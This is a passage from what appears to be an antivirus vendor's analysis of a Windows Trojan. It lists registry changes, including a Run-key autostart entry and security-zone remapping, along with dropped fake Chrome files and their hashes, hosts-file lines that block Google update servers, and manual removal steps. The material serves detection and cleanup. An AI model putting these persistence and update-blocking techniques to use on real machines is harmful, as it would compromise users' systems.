"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "72 1E E5 0C CE 58 65 E3 5F C1 A2 61 93 17 A3 59"

[HKLM\SOFTWARE\Policies\Google\Update]
"UpdateDefault" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Google Charles" = "%Documents and Settings%\%current user%\Application Data\Charles.exe"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process wget.exe:1376 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6C 53 A7 0D 78 C2 8A EA AD 6C 3C 17 6A D6 6E 61"

Dropped PE files

MD5	File path
0c4950e06182df940d3e841551aa4378	c:\Documents and Settings\"%CurrentUserName%"\Application Data\arsiv.exe
6044cc9167a451ca32589929d9ab63af	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\am.dll
0f056951ebed5fabecbf611640b8d45f	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\ar.dll
9d415e1843eef10ee34013d53c9ceb44	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\bg.dll
10a1d2d0fbb8bff5d62ab92112f37a54	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\bn.dll
4b3c6816259d6c6a0af983a9ed93ce16	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\ca.dll
c604153cb0fab69301db0f7f30f74760	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\cs.dll
d072eff41659891528d6a6f2a1f4812a	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\da.dll
f221ea188f8d30889c913d82e263b650	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\de.dll
43502f260da31980820df3095c55affe	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\el.dll
d88792584ea6c3e6ca29b9b41f8c91c5	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\en-GB.dll
6e86f87dafae93715572515d6a1ecf10	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\en-US.dll
804786e0c1c0ba2bf0d083b41b7c54fd	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\es-419.dll
a78d8a519e902d6721b720fb58fbe6e8	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\es.dll
4159160dc24c2ee9a62ef469c58def92	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\et.dll
a5b42a9a795eeaaf121105c0ee65d2f3	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\fa.dll
cf3e4ce598af12ce61845fb2df726bbf	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\fi.dll
807c447523ce3b725885536e42cdae6d	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\fil.dll
7422c04a3eb816b3d6c6509cfa8619cf	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\fr.dll
c812b05ff45cecd9bd03352a67786fec	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\gu.dll
7d1d073eaee9371ced3b91cfb5fea4e3	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\he.dll
07f7a71fd29b05d4fbeb2e5e0fcd7787	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\hi.dll
ce9d9574c5257a1b44254d6ec41e27ae	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\hr.dll
b706526605525c987544250dfd530d69	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\hu.dll
0ea483b13f28ea53e70e5b4e431dae8c	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\id.dll
62148930759b904b9ba522889fae973b	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\it.dll
49c0cbdd28f57ce31e7a0531195d3178	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\ja.dll
bfa78421f52457843855e320473e9e53	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\kn.dll
bf0cfc30b19880cfa00cfafcf6011d03	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\ko.dll
bbb3436a5797dc30d6ddb541db0a61b7	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\lt.dll
3043f1246714cd8d04bbc68b6a454d59	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\lv.dll
5405196f1450ae03b0f06b97d4361dcd	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\ml.dll
7e683ca160dc2af79bd111dc81e2985c	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\mr.dll
e72ee2eb6b49b09e498ef0570bd917b9	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\ms.dll
0b6e0b1f2f472d97befb305bd5ef2b43	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\nb.dll
d8a0769140dab6fdae60516158000e5a	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\nl.dll
1deee8bc832803fc736ca96c2d9e2cea	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\pl.dll
5eeb7905796ab13ad74f56e5ad16e2f2	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\pt-BR.dll
e052b1af4a987cd507d20be16062495c	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\pt-PT.dll
41dfee324f5ab48ca061194d3ca4de39	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\ro.dll
7f679fa92ff97d7f1fced6c89a98d233	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\ru.dll
2149ba923a655045b78e2a9be0b4f4b2	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\sk.dll
8a3311f82d726423d7efa2fa00cb2acb	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\sl.dll
22eb4f8a03c05c3575b61c955d7b19fd	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\sr.dll
8c4817e470153861ccae6f32eb8f24e1	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\sv.dll
38d0241cebb4ac26289e80f985d3ebef	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\sw.dll
e71c012e0a370ae90ba295f7205b95e6	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\ta.dll
632afa70f9720eb544854f2c553655c5	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\te.dll
0ca85c08971c7fca656b803e0fa6de0e	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\th.dll
96ad4ffef7c5791fa1f3bb3371ac3ef8	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\tr.dll
e1d3ad461c48f57707529003209d00e5	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\uk.dll
e45fb970e7c2fcb1ca91cfd59d2d8dae	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\vi.dll
a3c8afd0b6974cea8502fec0027e591f	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\zh-CN.dll
feb7d00815cc26ee2b50386a08352e36	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\zh-TW.dll
a087867f590d53248897184ef3e5cfd4	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\PepperFlash\pepflashplayer.dll
2c89a10a4ca6b9abbbe1ea3f61aed2ae	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\chrome.dll
1362a0d7fb57614067035b6dee177989	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\icudt.dll
e6cb3fa160426172b0baa3d63c8f528a	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\libpeerconnection.dll
c1227e1d33fd329a42295177be88e30b	c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\chrome.exe
6044cc9167a451ca32589929d9ab63af	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\am.dll
0f056951ebed5fabecbf611640b8d45f	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\ar.dll
9d415e1843eef10ee34013d53c9ceb44	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\bg.dll
10a1d2d0fbb8bff5d62ab92112f37a54	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\bn.dll
4b3c6816259d6c6a0af983a9ed93ce16	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\ca.dll
c604153cb0fab69301db0f7f30f74760	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\cs.dll
d072eff41659891528d6a6f2a1f4812a	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\da.dll
f221ea188f8d30889c913d82e263b650	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\de.dll
43502f260da31980820df3095c55affe	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\el.dll
d88792584ea6c3e6ca29b9b41f8c91c5	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\en-GB.dll
6e86f87dafae93715572515d6a1ecf10	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\en-US.dll
804786e0c1c0ba2bf0d083b41b7c54fd	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\es-419.dll
a78d8a519e902d6721b720fb58fbe6e8	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\es.dll
4159160dc24c2ee9a62ef469c58def92	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\et.dll
a5b42a9a795eeaaf121105c0ee65d2f3	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\fa.dll
cf3e4ce598af12ce61845fb2df726bbf	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\fi.dll
807c447523ce3b725885536e42cdae6d	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\fil.dll
7422c04a3eb816b3d6c6509cfa8619cf	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\fr.dll
c812b05ff45cecd9bd03352a67786fec	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\gu.dll
7d1d073eaee9371ced3b91cfb5fea4e3	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\he.dll
07f7a71fd29b05d4fbeb2e5e0fcd7787	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\hi.dll
ce9d9574c5257a1b44254d6ec41e27ae	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\hr.dll
b706526605525c987544250dfd530d69	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\hu.dll
0ea483b13f28ea53e70e5b4e431dae8c	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\id.dll
62148930759b904b9ba522889fae973b	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\it.dll
49c0cbdd28f57ce31e7a0531195d3178	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\ja.dll
bfa78421f52457843855e320473e9e53	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\kn.dll
bf0cfc30b19880cfa00cfafcf6011d03	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\ko.dll
bbb3436a5797dc30d6ddb541db0a61b7	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\lt.dll
3043f1246714cd8d04bbc68b6a454d59	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\lv.dll
5405196f1450ae03b0f06b97d4361dcd	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\ml.dll
7e683ca160dc2af79bd111dc81e2985c	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\mr.dll
e72ee2eb6b49b09e498ef0570bd917b9	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\ms.dll
0b6e0b1f2f472d97befb305bd5ef2b43	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\nb.dll
d8a0769140dab6fdae60516158000e5a	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\nl.dll
1deee8bc832803fc736ca96c2d9e2cea	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\pl.dll
5eeb7905796ab13ad74f56e5ad16e2f2	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\pt-BR.dll
e052b1af4a987cd507d20be16062495c	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\pt-PT.dll
41dfee324f5ab48ca061194d3ca4de39	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\ro.dll
7f679fa92ff97d7f1fced6c89a98d233	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\ru.dll
2149ba923a655045b78e2a9be0b4f4b2	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\sk.dll
8a3311f82d726423d7efa2fa00cb2acb	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\sl.dll
22eb4f8a03c05c3575b61c955d7b19fd	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\sr.dll
8c4817e470153861ccae6f32eb8f24e1	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\sv.dll
38d0241cebb4ac26289e80f985d3ebef	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\sw.dll
e71c012e0a370ae90ba295f7205b95e6	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\ta.dll
632afa70f9720eb544854f2c553655c5	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\te.dll
0ca85c08971c7fca656b803e0fa6de0e	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\th.dll
96ad4ffef7c5791fa1f3bb3371ac3ef8	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\tr.dll
e1d3ad461c48f57707529003209d00e5	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\uk.dll
e45fb970e7c2fcb1ca91cfd59d2d8dae	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\vi.dll
a3c8afd0b6974cea8502fec0027e591f	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\zh-CN.dll
feb7d00815cc26ee2b50386a08352e36	c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\zh-TW.dll
a087867f590d53248897184ef3e5cfd4	c:\Program Files\Google\Chrome\Application\30.0.1573.2\PepperFlash\pepflashplayer.dll
2c89a10a4ca6b9abbbe1ea3f61aed2ae	c:\Program Files\Google\Chrome\Application\30.0.1573.2\chrome.dll
1362a0d7fb57614067035b6dee177989	c:\Program Files\Google\Chrome\Application\30.0.1573.2\icudt.dll
e6cb3fa160426172b0baa3d63c8f528a	c:\Program Files\Google\Chrome\Application\30.0.1573.2\libpeerconnection.dll
c1227e1d33fd329a42295177be88e30b	c:\Program Files\Google\Chrome\Application\chrome.exe

HOSTS file anomalies

The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses. The modified file is 394 bytes in size. The following strings are added to the hosts file listed below:

127.0.0.1	tools.google.com
127.0.0.1	clients1.google.com
127.0.0.1	clients2.google.com
127.0.0.1	clients3.google.com
127.0.0.1	clients4.google.com
127.0.0.1	clients5.google.com
127.0.0.1	clients6.google.com
127.0.0.1	clients7.google.com
127.0.0.1	clients8.google.com
127.0.0.1	clients9.google.com

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:484
arsiv.exe:1016
schtasks.exe:1112
schtasks.exe:2012
Charles.exe:556
wget.exe:1376
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Application Data\Charles.exe (4487 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\lt.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sl.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sw.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\cs.pak (250 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\es-419.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bn.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\vi.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\lv.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ml.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ru.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ko.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fa.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hu.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ms.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\lv.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ja.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\nl.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ro.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pt-PT.pak (250 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ca.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fi.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\da.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\tr.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\en-US.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\id.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\uk.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hu.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\nl.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\PepperFlash\manifest.json (2 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\libpeerconnection.dll (56491 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\da.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sl.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\en-GB.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ru.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ar.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\PepperFlash\pepflashplayer.dll (277843 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sk.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ro.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\et.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\es.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pl.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\gu.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\kn.pak (4074 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\gu.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hr.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sr.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fil.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sw.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sv.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\chrome.exe (30992 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\icudt.dll (455362 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\tr.pak (250 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fr.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\el.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\am.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\id.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\he.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\am.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\it.pak (250 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fr.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\es-419.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\it.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\th.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bg.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\cs.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fa.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ta.pak (5049 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\nb.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pt-BR.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ca.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sr.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\te.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bg.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ja.pak (1274 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sv.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\lt.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\chrome_100_percent.pak (6625 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\en-GB.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\kn.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\uk.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\en-US.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ta.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\vi.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\mr.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\zh-CN.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ar.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\zh-CN.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\de.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\mr.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\zh-TW.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\et.pak (2249 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ms.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\nb.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\he.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\de.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sk.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\th.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ko.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\zh-TW.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pt-BR.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\chrome.dll (794832 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pt-PT.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fil.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\resources.pak (40311 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hr.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pl.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\es.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ml.pak (4074 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hi.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\el.pak (3461 bytes)
